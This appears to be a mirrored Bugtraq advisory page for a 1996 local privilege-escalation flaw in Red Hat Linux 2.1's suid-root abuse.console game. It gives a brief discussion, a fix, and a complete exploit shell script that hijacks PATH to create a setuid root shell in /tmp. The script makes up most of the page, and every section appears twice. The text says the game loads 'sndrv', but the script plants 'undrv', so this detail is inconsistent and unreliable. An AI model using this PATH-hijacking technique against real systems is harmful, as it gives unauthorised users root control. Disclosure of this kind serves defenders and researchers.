RedHat 2.1 abuse.console Vulnerability
BID:354
Info
RedHat 2.1 abuse.console Vulnerability
| Bugtraq ID: | 354 |
| Class: | Environment Error |
| CVE: |
CVE-1999-1491 |
| Remote: | No |
| Local: | Yes |
| Published: | Feb 02 1996 12:00AM |
| Updated: | Jul 11 2009 12:16AM |
| Credit: | First posted to BugTraq by David J Meltzer <[email protected]> on February 22, 1996. |
| Vulnerable: |
Redhat Linux 2.1 |
| Not Vulnerable: | |
Discussion
RedHat 2.1 abuse.console Vulnerability
Abuse is a game that is included with RedHat Linux 2.1 in the games package. The console version, abuse.console, is suid-root and will load the program sndrv as root without checking for an absolute pathname. This means that sndrv can be substituted in another directory by a regular user and used to locally execute arbitrary code on the target machine. Consequences are a root compromise.
Abuse is a game that is included with RedHat Linux 2.1 in the games package. The console version, abuse.console, is suid-root and will load the program sndrv as root without checking for an absolute pathname. This means that sndrv can be substituted in another directory by a regular user and used to locally execute arbitrary code on the target machine. Consequences are a root compromise.
Exploit / POC
RedHat 2.1 abuse.console Vulnerability
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
Solution / Fix
RedHat 2.1 abuse.console Vulnerability
Solution:
Remove the setuid bit from abuse.console.
Solution:
Remove the setuid bit from abuse.console.
References
RedHat 2.1 abuse.console Vulnerability
References:
References: